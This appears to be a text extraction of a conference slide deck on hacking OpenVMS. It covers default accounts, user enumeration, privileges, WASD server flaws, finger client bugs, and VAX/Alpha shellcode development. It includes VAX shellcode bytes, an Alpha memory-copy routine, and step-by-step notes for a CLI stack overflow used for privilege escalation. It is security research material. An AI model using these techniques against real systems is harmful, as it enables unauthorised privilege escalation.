Claes Nyberg Christer Öberg James Tusini. Hacking OpenVMS - PDF

Claes Nyberg Christer Öberg James Tusini Hacking OpenVMS Some facts about OpenVMS An Operating system with the following feature Multi-user / Multi-processing Virtual memory Real time processing Transaction

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Claes Nyberg Christer Öberg James Tusini Hacking OpenVMS Some facts about OpenVMS An Operating system with the following feature Multi-user / Multi-processing Virtual memory Real time processing Transaction processing History of ownership DIGITAL ( ) COMPAQ ( ) HP ( Today) Some facts about OpenVMS VAX/VMS, VMS, OpenVMS VMS is not UNIX, Windows NT is VMS? Runs on: VAX Alpha Itanium Secure and reliable more than OSX :) 5 Good reasons to hack OpenVMS Nobody attack VMS systems anymore Runs critical operations Financial systems (banks, stock exchanges) Infrastructure system (railways, electric) Healthcare (NHS, NBS, VA) Manufacturing (Intel) Education Many more.. 5 Good reasons to hack OpenVMS Certified by DoD for its security Challenging Fun Play with it online at Access to both Alpha and VAX systems Encourages security research Small decnet VAX only Access to Itanium Getting your own system Software Hobbyist program $30 + local group subscription $100 (UK) Emulators Personal Alpha ( Free version available With limited functionality Runs on Windows only Getting your own system Emulators Charon Emulates VAX systems Demo version available Simh But only runs on OpenVMS/Itanium Emulates VAX Free Runs on most OS Size does matter... User Environment X CDE DCL Digital Command Language Default shell / scripting language Case insensitive Requires commands to be defined explicitly CDL (command definition language Foreign commands OpenVMS Security Incidents Worms WANK / Father Christmas Propagated through DECnet Relied on weak passwords Not technically advanced compared to Morris Vulnerabilities most reports are pre-1993 Limited disclosure (CERT) is probably the best source for vuln details OpenVMS Security OpenVMS Survived Defcon9 CTF Something their users seems immensely proud of.. fine grained controls You don't need root for everything When is the last time you saw a VMS exploit? Vulnerability graph Old school VMS hacking Let's try the obvious first Default accounts, weak passwords and brute force Default password hash algorithm SYSTEM, FIELDS, etc Important files VMSIMAGES.DAT Determines what privileges some programs runs with USERRIGHTS.DAT / SYSUAF.DAT Not readable, binary format password file LOGIN.COM The WASD Problem Open source web server written for OpenVMS Initial release full of security holes Full directory traversal ACL bypass Dangerous default / sample CGI scripts Old versions still out there Directory traversal on VMS Enumerating users The usual stuff SMTP VRFY/EXPN Finger SYSTEM,FIELD etc (default accounts) RIGHTLIST.DAT / SYSUAF.DAT SYS$IDTOASC OpenVMS Protection UIC User Identification Code USER / GROUP ID Pair Privileges SYSPRV,MOUT,OPER etc ACL OpenVMS Priviledges About 40 privileges MOUNT, OPER, CHEXEC, BYPASS, etc Default usually are TMPMBX, NETMBX BYPASS Able to bypass security restrictions :) Nice idea but... SYSPRV + modify SYSUAF.DAT == PWNED BYPASS == PWNED IMPERSONATE == PWNED File system Logical names Disk, directory or file SYS$SYSDEVICE, SYS$LOGIN, SYS$SYSTEM etc RMS Record Management Services Record based indexed files ( databases ) File versions file.txt;1, file.txt;2, file.txt:3 etc SYS$SYSROOT:[SYSEXE]TYPE.EXE File system security Files are owned by a user/group Four permissions Read, Write, Execute and Delete Applied to four groups System, Owner, Group and World Privileges BYPASS, READALL, SYSPRV, GRPPRV ACL Fine grained control File permission example DEMO Finger Client Bug #1 20 years after THE WORM, FINGER... Runs with SYSPRV Follow links Opens and displays content of.plan and.profile DEMO Finger client bug #2 The link bug was funny But show me the root prompt! Need something different for that.. Chances are overflows has been killed... Format string vuln? Oh yes.plan and.project again.. Finger misbehaving.. VAX architecture VAX Virtual Address extension 32bit platform Executable stack Four privileges modes VMS uses all of them Quintessential CISC! Still lots of programming docs online: ro_index.html Memory layout Virtual memory System space / kernel Shared by all processes (0x xFFFFFFFF) P1 space / control region DCL, stacks, symbol table etc (0x x7FFFFFFF) P0 space / program region Programs (0x0 0x3FFFFFFF) Shellcode development environmen OpenVMS problems.. For UNIX users a very strange and uncomfortable environment to work in! Tools leaves a lot to be desired.. Solution Install NetBSD in simh emulator Use tools you are familiar with The time it takes to set NetBSD/simh up is worth the investment Developing VAX shellcode (libc) Calling standard Push arguments in reverse order Calls function address Calls instruction saves registers according to callee's mask, pushes PSW register and return etc Register r0/r1 holds function return value Works but... What if no useful libc function is available? System services.. VAX/VMS libc shellcode example unsigned char shellcode[] = /* calls system() */ \x01\x01 /* Procedure Entry Mask */ \x9f\xaf\x16 /* pushab my_cmd */ \xd0\x6e\x50 /* movl (sp),r0 */ /*NULL terminate command*/ \x94\xa0\x03 /* clrb 0x3(r0) */ \xd0\x8f\xff\x58\x3d\x05\x50 /* movl $0x053d58ff,r0 */ / *do right shift to clear MSB */ \x78\x8f\xf8\x50\x50 /* ashl $0xf8,r0,r0 */ \xfb\x01\x60 /* calls $0x1,(r0) */ \x04 /* ret */ /* my_cmd */ DIR /* command */ \x3b ; /* Byte that will be nulled * Developing VAX shellcode (system services) Calling system services Services implemented at various levels Kernel, Executable, Supervisor Push arguments in reverse order onto the stack Call function that execute [chmk chme chms] number instruction A drawback with this approach is size.. Functions usually take lots of arguments and usually string descriptors == big shellcode Tips that makes things a bit easier Exploit symbols.. They are executable They are string descriptors And as such they can contain NULL bytes etc Finding the right service number.. Debugger can break on instructions Write test program in C Break on [chmk chms chme] instructions This does not work on alpha! :( Interesting system services CREPRC Create process SETUAI Modify user record GRANTID grant ID's to processes Lots of others... Read HP documentation on OpenVMS system services.. Interesting note.. Familiarizing myself with VAX I tried to exploit strcpy(buf,argv[1]) I knew hit the return address with the right addr But it kept crashing without even reaching the code PSW Contains a byte defined as MBZ (must be zero) Is saved below the saved return address.. So what did Morris do? What did Morris do? Exploited a stack overflow in fingerd on VAX But how? Turns out he didn't have to worry about NULL bytes Bug was triggered through gets() Conclusion A lot of can probably not be exploited.. But still plenty of special cases like gets(), pointers, etc and other bug classes like fmt strings to exploit. Finger client bug #2 exploit notes Straight forward fmt bug.plan holds fmt string and shellcode Shellcode uses SETUAF() to modify user record fo my users Not stealthy, will be logged on console Username is hardcored Yes I know the exploit sucks But give me a break I wrote the entire thing in VAX ASM! DEMO Alpha architecture 64 bit architecture RISC Lots of programming information available Surprisingly msdn is one of the best sources Instruction cache PALCode Alpha / VMS shellcode C calling standard overly complex Document 100s of pages long describing it Not covered here :) Non-exec stack But code in symbols can be executed Works well for local exploits but could be a problem in remote exploits For tight executable buffers copy and return to symbols? Instruction cache Must be flushed in self-modifying code Calling system services on Alpha / VMS Arguments passed in r16 - r21 (a0 a5) Additional args passed on stack Argument count in r25 System service number in r0 Return value in r0 chme/chmk/chms instruction issues These instructions all contain NULL bytes And so does imb instruction.. Development environment Personal alpha Unfortunately personal alpha does not boot BSD Linux? Build GNU binutils with Alpha target (*f)()=shellcode; Does not work on Alpha/OpenVMS Function pointer points to function descriptor See OpenVMS calling standard for details. GetPC() code Slightly tricky.. JMP / CALL equivalent A short, NULL free jmp forward not possible? PC register can not be directly read :( Constructing all the data required for a service call on the stack is possible using a series of stores... But awkward to say the least. Shellcoders handbook had a nice solution Much shorter than our monster ;) Shellcoders handbook solution main:.frame $sp, 0, $26 lda $r16, -1000($r30) back: bis $r31, 0x86, $r17 stl $r17, -4($r16) bsr $r16, back OpenVMS CLI Overflow Failure to handle crafted commandlines Verified on OpenVMS Alpha 8.3 default install Total control of PC OpenVMS CLI Overflow 1) Type 511 characters at the CLI prompt 2) Type the UP-ARROW three times 3) Type the return address 4) Wait (don't hit return, it will modify the ret-addy) OpenVMS CLI Overflow OpenVMS CLI Overflow OpenVMS CLI Overflow Multiple targets INSTALL (CMKRNL PRMGBL SYSGBL SHMEM AUDIT) TCPIP$* (various privileges) TELNET (OPER) And some more... pipe install list/summary search sys$pipe prv OpenVMS Shellcode Injection Where do we store shellcode? The commandline used in the overflow can be executed but suffer from heavy input restrictions. We need a better location to run something useful To speed up testing I wrote a telnet client that triggers the bug and simplify testing of shellcode OpenVMS Shellcode Injection Populate target with data and search in core-dump argv[0] and environment before execve logicals symbols THIS IS NOT UNIX, I keep forgetting that... executing code from getenv() works, but it is a copy from a non executable region OpenVMS Reading Core Dumps $ analyze/proc install.dmp DBG eval r DBG dump : 'D#`y.# CB0 DBG e/i : LDAH R27,#X7FE4(R31) OpenVMS Process Layout $ analyze/system SDA clue process/layout [...] CLI Data AE3C AE9A E000 CLI Command Tables AE9A AF A800 CLI Image AF AFDA D2600 [...] Back to the debugger and dump CLI data DBG dump/hex : (Note that dump takes decimal input) OpenVMS Searching Memory Found my string (with NULL's!) in CLI Data But it could not be executed (Access violation) Ok, let's fiddle with input restrictions and try to make a shellcode that copy my string to an executable location OpenVMS Searching Memory Some terminal settings helped to remove a few restrictions $ set nocontrol =t $ set terminal /eightbit $ set terminal /nointerrupt OpenVMS Alpha copy.s.text.align 4.globl main.ent main # $r26 - pc # $r27 - Source address (code ends with a NULL quad-word) # $r28 - Destination address # $r25 - Return address # $r7 - Temp main: # Source address lda $r27, 0x7ae45cf8 # Destination address (main ) lda $r28, 31072($r26) # Return address lda $r25, ($r28) # Copy all quad words copy: ldq $r7, ($r27) stq $r7, ($r28) # Increase source address lda $r27, 30000($r27) lda $r27, ($r27) # Increase destination address lda $r28, 30000($r28) lda $r28, ($r28) # Copy again if source data was not zero bne $r7, copy # Return/Jump to the copyed code ret ($r25), 1.end main OpenVMS Alpha Global Logical SDA reveals system global logical which can be executed! SDA clue process/logical Process Logical Names: LNMB LNMX Logical and Equivalence Name FF FF56250 SYS$COMMAND = _ALPHA1$TNA91: 7FF564C0 7FF564F0 SYS$ERROR = _ALPHA1$TNA91: 7FF FF567A8 SYS$DISK = SYS$SYSROOT: 7FF565E0 7FF56610 SHELLCODE = CCCCCCCC...CCCCCCCC 7FF562D0 7FF56300 SYS$OUTPUT = _ALPHA1$TNA91: 7FF580D0 7FF58100 SYS$OUTPUT = _ALPHA1$TNA91: 7FF FF56550 SYS$INPUT = _ALPHA1$TNA91: 7FF FF563A8 TT = _TNA91: OpenVMS Alpha CLI Overflow Demo
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